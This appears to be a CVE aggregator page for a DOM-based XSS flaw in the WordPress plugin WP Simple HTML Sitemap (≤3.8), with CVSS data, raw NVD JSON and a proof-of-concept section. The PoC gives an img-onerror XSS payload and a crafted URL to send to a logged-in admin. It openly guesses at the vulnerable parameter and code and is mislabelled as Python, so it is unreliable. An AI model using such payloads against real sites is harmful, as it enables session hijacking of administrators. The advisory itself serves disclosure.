Security Vulnerability Report
中文
CVE-2026-39654 CVSS 5.9 MEDIUM

CVE-2026-39654

Published: 2026-04-08 09:16:37
Last Modified: 2026-04-29 10:17:37

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ashish Ajani WP Simple HTML Sitemap wp-simple-html-sitemap allows DOM-Based XSS.This issue affects WP Simple HTML Sitemap: from n/a through <= 3.8.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WP Simple HTML Sitemap <= 3.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Proof of Concept for CVE-2026-39654 // Vulnerability: DOM-Based XSS in WP Simple HTML Sitemap <= 3.8 // Description: // The plugin fails to sanitize user input before using it in a sink like innerHTML. // Step 1: Craft a malicious URL. // Assuming the vulnerable parameter is 'search' or similar reflected in the DOM. // Payload: <img src=x onerror=alert('CVE-2026-39654')> // Step 2: Send the link to a logged-in admin. // URL: http://target-site.com/?search=<img src=x onerror=alert(1)> // Step 3: The vulnerable script might look like this: /* var param = new URLSearchParams(window.location.search).get('search'); document.getElementById('output').innerHTML = param; // Vulnerable sink */ // Result: The alert box executes in the victim's browser context.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39654", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:36.587", "lastModified": "2026-04-29T10:17:36.760", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ashish Ajani WP Simple HTML Sitemap wp-simple-html-sitemap allows DOM-Based XSS.This issue affects WP Simple HTML Sitemap: from n/a through <= 3.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-simple-html-sitemap/vulnerability/wordpress-wp-simple-html-sitemap-plugin-3-8-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}